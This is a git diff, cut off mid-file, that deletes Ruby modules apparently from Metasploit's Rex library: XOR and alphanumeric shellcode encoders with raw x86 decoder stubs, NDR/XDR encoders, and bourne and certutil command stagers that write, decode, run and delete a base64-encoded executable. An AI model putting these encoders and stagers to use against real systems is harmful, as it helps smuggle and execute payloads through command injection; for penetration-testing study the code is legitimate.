blocks_in.each do | block | - - decoded_byte = block[ index ] - - encoded_byte = previous_byte ^ decoded_byte - - if( badchars.include?( encoded_byte ) ) - # the padding bytes we added earlier can be changed if they are causing us to fail. - if( block == blocks_in.last and index >= (block_size-block_padding) ) - if( redo_bytes.empty? ) - success = false - break - end - block[ index ] = redo_bytes.shift - redo - end - - success = false - break - end - - previous_byte = encoded_byte - end - - if( success ) - seed << seed_byte - break - end - end - - end - - if( seed.length == block_size ) - return seed - end - - return nil - end - - # - # Compute the next encoded block by xoring the previous - # encoded block with the next decoded block. - # - def compute_block( encoded, decoded ) - block = [] - 0.upto( encoded.length-1 ) do | index | - block << ( encoded[ index ] ^ decoded[ index ] ) - end - return block - end - - end - -end - -end diff --git a/lib/rex/encoder/ndr.rb b/lib/rex/encoder/ndr.rb deleted file mode 100644 index 7ccd7d75d1..0000000000 --- a/lib/rex/encoder/ndr.rb +++ /dev/null @@ -1,90 +0,0 @@ -# -*- coding: binary -*- -require "rex/text" - -module Rex -module Encoder -module NDR - - # Provide padding to align the string to the 32bit boundary - def NDR.align(string) - return "\x00" * ((4 - (string.length & 3)) & 3) - end - - # Encode a 4 byte long - # use to encode: - # long element_1; - def NDR.long(string) - return [string].pack('V') - end - - # Encode a 2 byte short - # use to encode: - # short element_1; - def NDR.short(string) - return [string].pack('v') - end - - # Encode a single byte - # use to encode: - # byte element_1; - def NDR.byte(string) - return [string].pack('C') - end - - # Encode a byte array - # use to encode: - # char element_1 - def NDR.UniConformantArray(string) - return long(string.length) + string + align(string) - end - - # Encode a string - # use to encode: - # char *element_1; - def NDR.string(string) - string << "\x00" # null pad - return long(string.length) + long(0) + long(string.length) + string + align(string) - end - - # Encode a string - # use to encode: - # w_char *element_1; - def NDR.wstring(string) - string = string + "\x00" # null pad - return long(string.length) + long(0) + long(string.length) + Rex::Text.to_unicode(string) + align(Rex::Text.to_unicode(string)) - end - - # Encode a string and make it unique - # use to encode: - # [unique] w_char *element_1; - def NDR.uwstring(string) - string = string + "\x00" # null pad - return long(rand(0xffffffff))+long(string.length) + long(0) + long(string.length) + Rex::Text.to_unicode(string) + align(Rex::Text.to_unicode(string)) - end - - # Encode a string that is already unicode encoded - # use to encode: - # w_char *element_1; - def NDR.wstring_prebuilt(string) - # if the string len is odd, thats bad! - if string.length % 2 > 0 - string = string + "\x00" - end - len = string.length / 2; - return long(len) + long(0) + long(len) + string + align(string) - end - - # alias to wstring, going away soon - def NDR.UnicodeConformantVaryingString(string) - NDR.wstring(string) - end - - # alias to wstring_prebuilt, going away soon - def NDR.UnicodeConformantVaryingStringPreBuilt(string) - NDR.wstring_prebuilt(string) - end - -end -end -end - diff --git a/lib/rex/encoder/nonalpha.rb b/lib/rex/encoder/nonalpha.rb deleted file mode 100644 index 77d350e207..0000000000 --- a/lib/rex/encoder/nonalpha.rb +++ /dev/null @@ -1,61 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' - -module Rex -module Encoder - -class NonAlpha - - def NonAlpha.gen_decoder - decoder = - "\x66\xB9\xFF\xFF" + - "\xEB\x19" + # Jmp to table - "\x5E" + # pop esi - "\x8B\xFE" + # mov edi, esi - Get table addr - "\x83\xC7" + "A" + # add edi, tablelen - Get shellcode addr - "\x8B\xD7" + # mov edx, edi - Hold end of table ptr - "\x3B\xF2" + # cmp esi, edx - "\x7D\x0B" + # jle to end - "\xB0\x7B" + # mov eax, 0x7B - Set up eax with magic - "\xF2\xAE" + # repne scasb - Find magic! - "\xFF\xCF" + # dec edi - scasb purs us one ahead - "\xAC" + # lodsb - "\x28\x07" + # subb [edi], al - "\xEB\xF1" + # jmp BACK! - "\xEB" + "B" + # jmp [shellcode] - "\xE8\xE2\xFF\xFF\xFF" - end - - def NonAlpha.encode_byte(block, table, tablelen) - if tablelen > 255 || block == 0x7B - raise RuntimeError, "BadChar" - end - - if (block >= 0x41 && block <= 0x5A) || (block >= 0x61 && block <= 0x7A) - # gen offset, return magic - offset = 0x7b - block - table += offset.chr - tablelen = tablelen + 1 - block = 0x7B - end - - return [block.chr, table, tablelen] - end - - def NonAlpha.encode(buf) - table = "" - tablelen = 0 - nonascii = "" - encoded = gen_decoder() - buf.each_byte { |block| - newchar, table, tablelen = encode_byte(block.unpack('C')[0], table, tablelen) - nonascii += newchar - } - encoded.gsub!(/A/, tablelen) - encoded.gsub!(/B/, tablelen+5) - encoded += table - encoded += nonascii - end - -end end end diff --git a/lib/rex/encoder/nonupper.rb b/lib/rex/encoder/nonupper.rb deleted file mode 100644 index 9e07f34c9b..0000000000 --- a/lib/rex/encoder/nonupper.rb +++ /dev/null @@ -1,64 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' - -module Rex -module Encoder - -class NonUpper - - - def NonUpper.gen_decoder() - decoder = - "\x66\xB9\xFF\xFF" + - "\xEB\x19" + # Jmp to table - "\x5E" + # pop esi - "\x8B\xFE" + # mov edi, esi - Get table addr - "\x83\xC7" + "A" + # add edi, tablelen - Get shellcode addr - "\x8B\xD7" + # mov edx, edi - Hold end of table ptr - "\x3B\xF2" + # cmp esi, edx - "\x7D\x0B" + # jle to end - "\xB0\x7B" + # mov eax, 0x7B - Set up eax with magic - "\xF2\xAE" + # repne scasb - Find magic! - "\xFF\xCF" + # dec edi - scasb purs us one ahead - "\xAC" + # lodsb - "\x28\x07" + # subb [edi], al - "\xEB\xF1" + # jmp BACK! - "\xEB" + "B" + # jmp [shellcode] - "\xE8\xE2\xFF\xFF\xFF" - end - - def NonUpper.encode_byte(badchars, block, table, tablelen) - if (tablelen > 255) or (block == 0x40) - raise RuntimeError, "BadChar" - end - - if (block >= 0x41 and block <= 0x40) or (badchars =~ block) - # gen offset, return magic - offset = 0x40 - block; - table += offset.chr - tablelen = tablelen + 1 - block = 0x40 - end - - return [block.chr, table, tablelen] - end - - def NonUpper.encode(buf) - table = "" - tablelen = 0 - nonascii = "" - encoded = gen_decoder() - buf.each_byte { - |block| - - newchar, table, tablelen = encode_byte(block.unpack('C')[0], table, tablelen) - nonascii += newchar - } - encoded.gsub!(/A/, tablelen) - encoded.gsub!(/B/, tablelen+5) - encoded += table - encoded += nonascii - end - -end end end diff --git a/lib/rex/encoder/xdr.rb b/lib/rex/encoder/xdr.rb deleted file mode 100644 index 5c0815693f..0000000000 --- a/lib/rex/encoder/xdr.rb +++ /dev/null @@ -1,108 +0,0 @@ -# -*- coding: binary -*- -module Rex -module Encoder - -### -# -# This class implements basic XDR encoding. -# -### -module XDR - MAX_ARG = 0xffffffff - - # Also: unsigned int, bool, enum - def XDR.encode_int(int) - return [int].pack('N') - end - - def XDR.decode_int!(data) - raise ArgumentError, 'XDR: No Integer data to decode' unless data - raise ArgumentError, "XDR: Too little data to decode (#{data.size})" if data.size < 4 - return data.slice!(0..3).unpack('N')[0] - end - - def XDR.encode_lchar(char) - char |= 0xffffff00 if char & 0x80 != 0 - return encode_int(char) - end - - def XDR.decode_lchar!(data) - return (decode_int!(data) & 0xff).chr - end - - # Also: Variable length opaque - def XDR.encode_string(str, max=MAX_ARG) - raise ArgumentError, 'XDR: String too long' if str.length > max - len = str.length - str << "\x00" * ((4 - (len & 3)) & 3) - return encode_int(len) + str - end - - def XDR.decode_string!(data) - real_len = decode_int!(data) - return "" if real_len == 0 - align_len = (real_len + 3) & ~3 - return data.slice!(0..align_len-1).slice(0..real_len-1) - end - - def XDR.encode_varray(arr, max=MAX_ARG, &block) - raise ArgumentError, 'XDR: Too many array elements' if arr.length > max - return encode_int(arr.length) + arr.collect(&block).join(nil) - end - - def XDR.decode_varray!(data) - buf = [] - 1.upto(decode_int!(data)) { buf.push(yield(data)) } - return buf - end - - # encode(0, [0, 1], "foo", ["bar", 4]) does: - # encode_int(0) + - # encode_varray([0, 1]) { |i| XDR.encode_int(i) } + - # encode_string("foo") + - # encode_string("bar", 4) - def XDR.encode(*data) - data.collect do |var| - if var.kind_of?(String) - encode_string(var) - elsif var.kind_of?(Integer) - encode_int(var) - elsif var.kind_of?(Array) && var[0].kind_of?(String) - raise ArgumentError, 'XDR: Incorrect string array arguments' if var.length != 2 - encode_string(var[0], var[1]) - elsif var.kind_of?(Array) && var[0].kind_of?(Integer) - encode_varray(var) { |i| XDR.encode_int(i) } - # 0 means an empty array index in the case of Integer and an empty string in - # the case of String so we get the best of both worlds - elsif var.kind_of?(Array) && var[0].nil? - encode_int(0) - else - type = var.class - type = var[0].class if var.kind_of?(Array) - raise TypeError, "XDR: encode does not support #{type}" - end - end.join(nil) - end - -# decode(buf, Integer, String, [Integer], [String]) does: -# [decode_int!(buf), decode_string!(buf), -# decode_varray!(buf) { |i| XDR.decode_int!(i) }, -# decode_varray!(buf) { |s| XDR.decode_string(s) }] - def XDR.decode!(buf, *data) - return *data.collect do |var| - if data.length == 0 - elsif var.kind_of?(Array) && var[0] == String - decode_varray!(buf) { |s| XDR.decode_string!(s) } - elsif var.kind_of?(Array) && var[0] == Integer - decode_varray!(buf) { |i| XDR.decode_int!(i) } - elsif var == String - decode_string!(buf) - elsif var == Integer - decode_int!(buf) - end - end - end -end - -end -end diff --git a/lib/rex/encoder/xor.rb b/lib/rex/encoder/xor.rb deleted file mode 100644 index b1ee01385a..0000000000 --- a/lib/rex/encoder/xor.rb +++ /dev/null @@ -1,69 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module Encoder - -### -# -# This class performs basic XOR encoding. -# -### -class Xor - - attr_accessor :raw, :encoded, :badchars, :opts, :key, :fkey # :nodoc: - - # - # wrap that in a wanna be static class - # - def self.encode(*args) - self.new.encode(*args) - end - - # - # Return the class associated with this encoder. - # - def encoder() - self.class::EncoderKlass - end - - # - # This method encodes the supplied data, taking into account the badchar - # list, and returns the encoded buffer. - # - def encode(data, badchars = '', opts = { }) - self.raw = data - self.badchars = badchars - self.opts = opts - - # apply any transforms to the plaintext data - data = _unencoded_transform(data) - - self.encoded, self.key, self.fkey = encoder().find_key_and_encode(data, badchars) - - # apply any transforms to the encoded data - self.encoded = _encoded_transform(encoded) - - return _prepend() + encoded + _append() - end - - protected - def _unencoded_transform(data) # :nodoc: - data - end - - def _encoded_transform(data) # :nodoc: - data - end - - def _prepend() # :nodoc: - "" - end - - def _append() # :nodoc: - "" - end - -end - -end end - diff --git a/lib/rex/encoder/xor/dword.rb b/lib/rex/encoder/xor/dword.rb deleted file mode 100644 index d77b59b762..0000000000 --- a/lib/rex/encoder/xor/dword.rb +++ /dev/null @@ -1,13 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoder/xor' -require 'rex/encoding/xor/dword' - -### -# -# This class wraps the Dword XOR encoder. -# -### -class Rex::Encoder::Xor::Dword < Rex::Encoder::Xor - EncoderKlass = Rex::Encoding::Xor::Dword -end diff --git a/lib/rex/encoder/xor/dword_additive.rb b/lib/rex/encoder/xor/dword_additive.rb deleted file mode 100644 index 3e212e5b3f..0000000000 --- a/lib/rex/encoder/xor/dword_additive.rb +++ /dev/null @@ -1,13 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoder/xor' -require 'rex/encoding/xor/dword_additive' - -### -# -# This class wraps the Dword XOR Additive feedback encoder. -# -### -class Rex::Encoder::Xor::DwordAdditive < Rex::Encoder::Xor - EncoderKlass = Rex::Encoding::Xor::DwordAdditive -end diff --git a/lib/rex/encoders/xor_dword.rb b/lib/rex/encoders/xor_dword.rb deleted file mode 100644 index be9e9d48b3..0000000000 --- a/lib/rex/encoders/xor_dword.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/arch/x86' -require 'rex/encoder/xor/dword' - -module Rex -module Encoders - -### -# -# Spoon's smaller variable-length encoder (updated to use call $+4 by vlad902) -# -### -class XorDword < Rex::Encoder::Xor::Dword - module Backend - def _prepend - # set the counter to the rounded up number of dwords to decode - Rex::Arch::X86.set( - Rex::Arch::X86::ECX, - (encoded.length - 1 >> 2) + 1, - badchars - ) + - "\xe8\xff\xff\xff" + # call $+4 - "\xff\xc0" + # inc eax - "\x5e" + # pop esi - "\x81\x76\x0e" + key + # xor_xor: xor [esi + 0x0e], $xorkey - "\x83\xee\xfc" + # sub esi, -4 - "\xe2\xf4" # loop xor_xor - end - end - - include Backend -end - -end end diff --git a/lib/rex/encoders/xor_dword_additive.rb b/lib/rex/encoders/xor_dword_additive.rb deleted file mode 100644 index 52b21808e2..0000000000 --- a/lib/rex/encoders/xor_dword_additive.rb +++ /dev/null @@ -1,53 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoder/xor/dword_additive' - -## -# -# Jmp/Call Dword Additive Feedback Encoder -# Author: skape -# Arch: x86 -# -## -module Rex -module Encoders - -class XorDwordAdditive < Rex::Encoder::Xor::DwordAdditive - module Backend - - def _unencoded_transform(data) - # check for any dword aligned zeros that would falsely terminate the decoder - idx = 0 - while true - idx = data.index("\x00\x00\x00\x00", idx) - break if !idx - if idx & 3 == 0 - raise RuntimeError, "Unencoded data cannot have a dword aligned 0 dword!", caller() - end - idx += 1 - end - - # pad to a dword boundary and append null dword for termination - data = data + ("\x00" * ((4 - data.length & 3) & 3)) + "\x00\x00\x00\x00" - end - - def _prepend - "\xfc" + # cld - "\xbb" + key + # mov ebx, key - "\xeb\x0c" + # jmp short 0x14 - "\x5e" + # pop esi - "\x56" + # push esi - "\x31\x1e" + # xor [esi], ebx - "\xad" + # lodsd - "\x01\xc3" + # add ebx, eax - "\x85\xc0" + # test eax, eax - "\x75\xf7" + # jnz 0xa - "\xc3" + # ret - "\xe8\xef\xff\xff\xff" # call 0x8 - end - end - - include Backend -end - -end end diff --git a/lib/rex/encoding/xor.rb b/lib/rex/encoding/xor.rb deleted file mode 100644 index 5b9bee5f73..0000000000 --- a/lib/rex/encoding/xor.rb +++ /dev/null @@ -1,20 +0,0 @@ -# -*- coding: binary -*- - -# -# make sure the namespace is created -# - -module Rex -module Encoding -module Xor -end end end - -# -# include the Xor encodings -# - -require 'rex/encoding/xor/generic' -require 'rex/encoding/xor/byte' -require 'rex/encoding/xor/word' -require 'rex/encoding/xor/dword' -require 'rex/encoding/xor/qword' diff --git a/lib/rex/encoding/xor/byte.rb b/lib/rex/encoding/xor/byte.rb deleted file mode 100644 index 5ac87f0275..0000000000 --- a/lib/rex/encoding/xor/byte.rb +++ /dev/null @@ -1,15 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/generic' - -module Rex -module Encoding -module Xor - -class Byte < Generic - - def Byte.keysize - 1 - end - -end end end end # Byte/Xor/Encoding/Rex diff --git a/lib/rex/encoding/xor/dword.rb b/lib/rex/encoding/xor/dword.rb deleted file mode 100644 index 98405dfce1..0000000000 --- a/lib/rex/encoding/xor/dword.rb +++ /dev/null @@ -1,21 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/generic' - -# -# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl -# version used to pad this buffer out to a 2-byte boundary, but I can't think -# of a good reason to do that anymore, so this doesn't. -# - -module Rex -module Encoding -module Xor - -class Dword < Generic - - def Dword.keysize - 4 - end - -end end end end # Dword/Xor/Encoding/Rex diff --git a/lib/rex/encoding/xor/dword_additive.rb b/lib/rex/encoding/xor/dword_additive.rb deleted file mode 100644 index 91aa374078..0000000000 --- a/lib/rex/encoding/xor/dword_additive.rb +++ /dev/null @@ -1,92 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/exceptions' -require 'rex/encoding/xor/generic' - -# -# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl -# version used to pad this buffer out to a 2-byte boundary, but I can't think -# of a good reason to do that anymore, so this doesn't. -# - -module Rex -module Encoding -module Xor - -class DwordAdditive < Generic - - def DwordAdditive.keysize - 4 - end - - def DwordAdditive._packspec - 'V' - end - - def DwordAdditive.pack_key(key) - return [ key ].pack(_packspec) - end - def DwordAdditive.unpack_key(key) - return key.unpack(_packspec)[0] - end - - # hook in the key mutation routine of encode for the additive feedback - def DwordAdditive._encode_mutate_key(buf, key, pos, len) - if (pos + 1) % len == 0 - # add the last len bytes (in this case 4) with the key, - # dropping off any overflow - key = pack_key( - unpack_key(key) + unpack_key(buf[pos - (len - 1), len]) & - (1 << (len << 3)) - 1 - ) - end - - return key - end - - # - # I realize this algorithm is broken. We invalidate some keys - # in _find_bad_keys that could actually be perfectly fine. However, - # it seems to work ok for now, and this is all just a lame adhoc method. - # Maybe someday we can revisit this and make it a bit less ghetto... - # - - def DwordAdditive._find_good_key(data, badkeys, badchars) - - ksize = keysize - kstart = "" - ksize.times { kstart << rand(256) } # random key starting place - - key = kstart.dup - - # - # now for the ghettoness of an algorithm: - # try the random key we picked - # if the key failed, figure out which key byte corresponds - # increment that key byte - # if we wrapped a byte all the way around, fail :( - # - - loop do - # ok, try to encode it, any bad chars present? - pos = _check(data, key, badchars) - - # yay, no problems, we found a key! - break if !pos - - strip = pos % ksize - - # increment the offending key byte - key[strip] = key[strip] + 1 & 0xff - - # We wrapped around! - if key[strip] == kstart[strip] - raise KeySearchError, "Key space exhausted on strip #{strip}!", caller - end - end - - return key - end - -end end end end # DwordAdditive/Xor/Encoding/Rex - diff --git a/lib/rex/encoding/xor/exceptions.rb b/lib/rex/encoding/xor/exceptions.rb deleted file mode 100644 index d2b9a647f8..0000000000 --- a/lib/rex/encoding/xor/exceptions.rb +++ /dev/null @@ -1,17 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module Encoding -module Xor - -module Exception - -end - -class KeySearchError < ::Exception - include Exception - MSG = "Error finding a key." -end - -end end end - diff --git a/lib/rex/encoding/xor/generic.rb b/lib/rex/encoding/xor/generic.rb deleted file mode 100644 index 5e9dc831af..0000000000 --- a/lib/rex/encoding/xor/generic.rb +++ /dev/null @@ -1,146 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/exceptions' -require 'rex/text' - -module Rex -module Encoding -module Xor - -class Generic - - def Generic.keysize - # special case: - # 0 means we encode based on the length of the key - # we don't enforce any perticular key length - return 0 - end - - # - # Now for some internal check methods - # - - # hook stylies! - # return index of offending byte or nil - def Generic._check(data, key, badchars) - return _check_key(key, badchars) || _check_encode(data, key, badchars) - end - def Generic._check_key(key, badchars) - return Rex::Text.badchar_index(key, badchars) - end - def Generic._check_encode(data, key, badchars) - return Rex::Text.badchar_index(encode(data, key), badchars) - end - - def Generic.find_key(data, badchars) - return _find_good_key(data, _find_bad_keys(data, badchars), badchars) - end - - # !!! xxx MAKE THESE PRIVATE - - # - # Find a list of bytes that can't be valid xor keys, from the data and badchars. - # This returns a Array of hashes, length keysize - # - def Generic._find_bad_keys(data, badchars) - - ksize = keysize - - # array of hashes for the bad characters based - # on their position in the data - badkeys = [ ] - ksize.times { badkeys << { } } - - badchars.each_byte { |badchar| - pos = 0 - data.each_byte { |char| - badkeys[pos % ksize][char ^ badchar] = true - pos += 1 - } - } - - return badkeys - end - - # - # (Hopefully) find a good key, from badkeys and badchars - # - def Generic._find_good_key(data, badkeys, badchars) - - ksize = keysize - strip = 0 - key = "" - - while strip < keysize - - kbyte = rand(256) - - catch(:found_kbyte) do - 256.times { - - if !badkeys[strip][kbyte] && !badchars[kbyte.chr] - throw :found_kbyte - end - - kbyte = (kbyte + 1) & 0xff - } - - raise KeySearchError, "Exhausted byte space for strip #{strip}!", caller - end - - key << kbyte - strip += 1 - end - - # ok, we should have a good key now, lets double check... - if _check(data, key, badchars) - raise KeySearchError, "Key found, but bad character check failed!", caller - end - - return key - end - - def Generic.encode(buf, key) - - if !key.kind_of?(String) - raise ::ArgumentError, "Key must be a string!", caller - end - - len = key.length - - if len == 0 - raise ::ArgumentError, "Zero key length!", caller - end - - if keysize != 0 && keysize != len - raise ::ArgumentError, "Key length #{len}, expected #{keysize}", caller - end - - encoded = "" - pos = 0 - - while pos < buf.length - encoded += (buf[pos,1].unpack("C*")[0] ^ key[pos % len, 1].unpack("C*")[0]).chr - key = _encode_mutate_key(buf, key, pos, len) - pos += 1 - end - - return [ encoded, key ] - - end - - # kind of ghetto, but very convenient for mutating keys - # by default, do no key mutations - def Generic._encode_mutate_key(buf, key, pos, len) - return key - end - - # maybe a bit a smaller of method name? - def Generic.find_key_and_encode(data, badchars) - key = find_key(data, badchars) - enc, fkey = encode(data, key) - return [ enc, key, fkey ] - end - - -end end end end # Generic/Xor/Encoding/Rex diff --git a/lib/rex/encoding/xor/qword.rb b/lib/rex/encoding/xor/qword.rb deleted file mode 100644 index 702b9559a2..0000000000 --- a/lib/rex/encoding/xor/qword.rb +++ /dev/null @@ -1,15 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/generic' - -module Rex -module Encoding -module Xor - -class Qword < Generic - - def Qword.keysize - 8 - end - -end end end end diff --git a/lib/rex/encoding/xor/word.rb b/lib/rex/encoding/xor/word.rb deleted file mode 100644 index e04adec8ac..0000000000 --- a/lib/rex/encoding/xor/word.rb +++ /dev/null @@ -1,21 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/encoding/xor/generic' - -# -# Routine for xor encoding a buffer by a 2-byte (intel word) key. The perl -# version used to pad this buffer out to a 2-byte boundary, but I can't think -# of a good reason to do that anymore, so this doesn't. -# - -module Rex -module Encoding -module Xor - -class Word < Generic - - def Word.keysize - 2 - end - -end end end end # Word/Xor/Encoding/Rex diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb deleted file mode 100644 index e57d563796..0000000000 --- a/lib/rex/exploitation/cmdstager.rb +++ /dev/null @@ -1,11 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/exploitation/cmdstager/base' -require 'rex/exploitation/cmdstager/vbs' -require 'rex/exploitation/cmdstager/certutil' -require 'rex/exploitation/cmdstager/debug_write' -require 'rex/exploitation/cmdstager/debug_asm' -require 'rex/exploitation/cmdstager/tftp' -require 'rex/exploitation/cmdstager/bourne' -require 'rex/exploitation/cmdstager/echo' -require 'rex/exploitation/cmdstager/printf' diff --git a/lib/rex/exploitation/cmdstager/base.rb b/lib/rex/exploitation/cmdstager/base.rb deleted file mode 100644 index 0e966113ad..0000000000 --- a/lib/rex/exploitation/cmdstager/base.rb +++ /dev/null @@ -1,190 +0,0 @@ -# -*- coding: binary -*- -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' - -module Rex -module Exploitation - -### -# -# This class provides an interface to generating cmdstagers. -# -### - -class CmdStagerBase - - def initialize(exe) - @linemax = 2047 # covers most likely cases - @exe = exe - end - - # - # Generates the cmd payload including the h2bv2 decoder and encoded payload. - # The resulting commands also perform cleanup, removing any left over files - # - def generate(opts = {}) - # Allow temporary directory override - @tempdir = opts[:temp] - @tempdir ||= "%TEMP%\\" - if (@tempdir == '.') - @tempdir = '' - end - - opts[:linemax] ||= @linemax - - generate_cmds(opts) - end - - - # - # This does the work of actually building an array of commands that - # when executed will create and run an executable payload. - # - def generate_cmds(opts) - - # Initialize an arry of commands to execute - cmds = [] - - # Add the exe building commands - cmds += generate_cmds_payload(opts) - - # Add the decoder script building commands - cmds += generate_cmds_decoder(opts) - - compress_commands(cmds, opts) - end - - - # - # Generate the commands to create an encoded version of the - # payload file - # - def generate_cmds_payload(opts) - - # First encode the payload - encoded = encode_payload(opts) - - # Now split it up into usable pieces - parts = slice_up_payload(encoded, opts) - - # Turn each part into a valid command - parts_to_commands(parts, opts) - end - - # - # This method is intended to be override by the child class - # - def encode_payload(opts) - # Defaults to nothing - "" - end - - # - # We take a string of data and turn it into an array of parts. - # - # We save opts[:extra] bytes out of every opts[:linemax] for the parts - # appended and prepended to the resulting elements. - # - def slice_up_payload(encoded, opts) - tmp = encoded.dup - - parts = [] - xtra_len = opts[:extra] - xtra_len ||= 0 - while (tmp.length > 0) - parts << tmp.slice!(0, (opts[:linemax] - xtra_len)) - end - - parts - end - - # - # Combine the parts of the encoded file with the stuff that goes - # before / after it -- example "echo " and " >>file" - # - def parts_to_commands(parts, opts) - # Return as-is - parts - end - - - - # - # Generate the commands that will decode the file we just created - # - def generate_cmds_decoder(opts) - # Defaults to no commands. - [] - end - - - - # - # Compress commands into as few lines as possible. Minimizes the number of - # commands to execute while maximizing the number of commands per execution. - # - def compress_commands(cmds, opts) - new_cmds = [] - line = '' - - concat = opts[:concat_operator] || cmd_concat_operator - - # We cannot compress commands if there is no way to combine commands on - # a single line. - return cmds unless concat - - cmds.each { |cmd| - - # If this command will fit, concat it and move on. - if ((line.length + cmd.length + concat.length) < opts[:linemax]) - line << concat if line.length > 0 - line << cmd - next - end - - # The command wont fit concat'd to this line, if we have something, - # we have to add it to the array now. - if (line.length > 0) - new_cmds << line - line = '' - end - - # If it won't fit even after emptying the current line, error out.. - if (cmd.length > opts[:linemax]) - raise RuntimeError, 'Line too long - %u bytes, max %u' % [cmd.length, opts[:linemax]] - end - - # It will indeed fit by itself, lets add it. - line << cmd - - } - new_cmds << line if (line.length > 0) - - # Return the final array. - new_cmds - end - - # - # Can be overriden. For exmaple, use for unix use ";" instead - # - def cmd_concat_operator - nil - end - - # Should be overriden if the cmd stager needs to setup anything - # before it's executed - def setup(mod = nil) - - end - - # - # Should be overriden if the cmd stager needs to do any clenaup - # - def teardown(mod = nil) - - end - -end -end -end diff --git a/lib/rex/exploitation/cmdstager/bourne.rb b/lib/rex/exploitation/cmdstager/bourne.rb deleted file mode 100644 index 6984c377e5..0000000000 --- a/lib/rex/exploitation/cmdstager/bourne.rb +++ /dev/null @@ -1,119 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' - -module Rex -module Exploitation - -class CmdStagerBourne < CmdStagerBase - - def initialize(exe) - super - - @var_encoded = Rex::Text.rand_text_alpha(5) + '.b64' - @var_decoded = Rex::Text.rand_text_alpha(5) - end - - def generate(opts = {}) - opts[:temp] = opts[:temp] || '/tmp/' - opts[:temp] = opts[:temp].empty?? opts[:temp] : opts[:temp] + '/' - opts[:temp] = opts[:temp].gsub(/\/{2,}/, '/') - opts[:temp] = opts[:temp].gsub(/'/, "\\\\'") - opts[:temp] = opts[:temp].gsub(/ /, "\\ ") - if (opts[:file]) - @var_encoded = opts[:file] + '.b64' - @var_decoded = opts[:file] - end - super - end - - # - # Override just to set the extra byte count - # - def generate_cmds(opts) - # Set the start/end of the commands here (vs initialize) so we have @tempdir - @cmd_start = "echo -n " - @cmd_end = ">>'#{@tempdir}#{@var_encoded}'" - xtra_len = @cmd_start.length + @cmd_end.length + 1 - opts.merge!({ :extra => xtra_len }) - super - end - - - # - # Simple base64... - # - def encode_payload(opts) - Rex::Text.encode_base64(@exe) - end - - - # - # Combine the parts of the encoded file with the stuff that goes - # before / after it. - # - def parts_to_commands(parts, opts) - - cmds = [] - parts.each do |p| - cmd = '' - cmd << @cmd_start - cmd << p - cmd << @cmd_end - cmds << cmd - end - - cmds - end - - # - # Generate the commands that will decode the file we just created - # - def generate_cmds_decoder(opts) - decoders = [ - "base64 --decode -", - "openssl enc -d -A -base64 -in /dev/stdin", - "python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'", - "perl -MMIME::Base64 -ne 'print decode_base64($_)'" - ] - decoder_cmd = [] - decoders.each do |cmd| - binary = cmd.split(' ')[0] - decoder_cmd << "(which #{binary} >&2 && #{cmd})" - end - decoder_cmd = decoder_cmd.join(" || ") - decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > '#{@tempdir}#{@var_decoded}' < '#{@tempdir}#{@var_encoded}'" - [ decoder_cmd ] - end - - def compress_commands(cmds, opts) - # Make it all happen - cmds << "chmod +x '#{@tempdir}#{@var_decoded}'" - # Background the process, allowing the cleanup code to continue and delete the data - # while allowing the original shell to continue to function since it isn't waiting - # on the payload to exit. The 'sleep' is required as '&' is a command terminator - # and having & and the cmds delimiter ';' next to each other is invalid. - if opts[:background] - cmds << "'#{@tempdir}#{@var_decoded}' & sleep 2" - else - cmds << "'#{@tempdir}#{@var_decoded}'" - end - - # Clean up after unless requested not to.. - if (not opts[:nodelete]) - cmds << "rm -f '#{@tempdir}#{@var_decoded}'" - cmds << "rm -f '#{@tempdir}#{@var_encoded}'" - end - - super - end - - def cmd_concat_operator - " ; " - end - -end -end -end diff --git a/lib/rex/exploitation/cmdstager/certutil.rb b/lib/rex/exploitation/cmdstager/certutil.rb deleted file mode 100644 index 6bfc5b569a..0000000000 --- a/lib/rex/exploitation/cmdstager/certutil.rb +++ /dev/null @@ -1,115 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' - -module Rex -module Exploitation - -### -# -# This class provides the ability to create a sequence of commands from an executable. -# When this sequence is ran via command injection or a shell, the resulting exe will -# be written to disk and executed. -# -# This particular version uses Windows certutil to base64 decode a file, -# created via echo >>, and decode it to the final binary. -# -# -# Written by xistence -# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522 -# -### - -class CmdStagerCertutil < CmdStagerBase - - def initialize(exe) - super - - @var_encoded = Rex::Text.rand_text_alpha(5) - @var_decoded = Rex::Text.rand_text_alpha(5) - @decoder = nil # filled in later - end - - - # Override just to set the extra byte count - # @param opts [Array] The options to generate the command line - # @return [Array] The complete command line - def generate_cmds(opts) - # Set the start/end of the commands here (vs initialize) so we have @tempdir - @cmd_start = "echo " - @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" - xtra_len = @cmd_start.length + @cmd_end.length + 1 - opts.merge!({ :extra => xtra_len }) - super - end - - - # Simple base64 encoder for the executable - # @param opts [Array] The options to generate the command line - # @return [String] Base64 encoded executable - def encode_payload(opts) - Rex::Text.encode_base64(@exe) - end - - - # Combine the parts of the encoded file with the stuff that goes - # before / after it. - # @param parts [Array] Splitted commands - # @param opts [Array] The options to generate the command line - # @return [Array] The command line - def parts_to_commands(parts, opts) - - cmds = [] - parts.each do |p| - cmd = 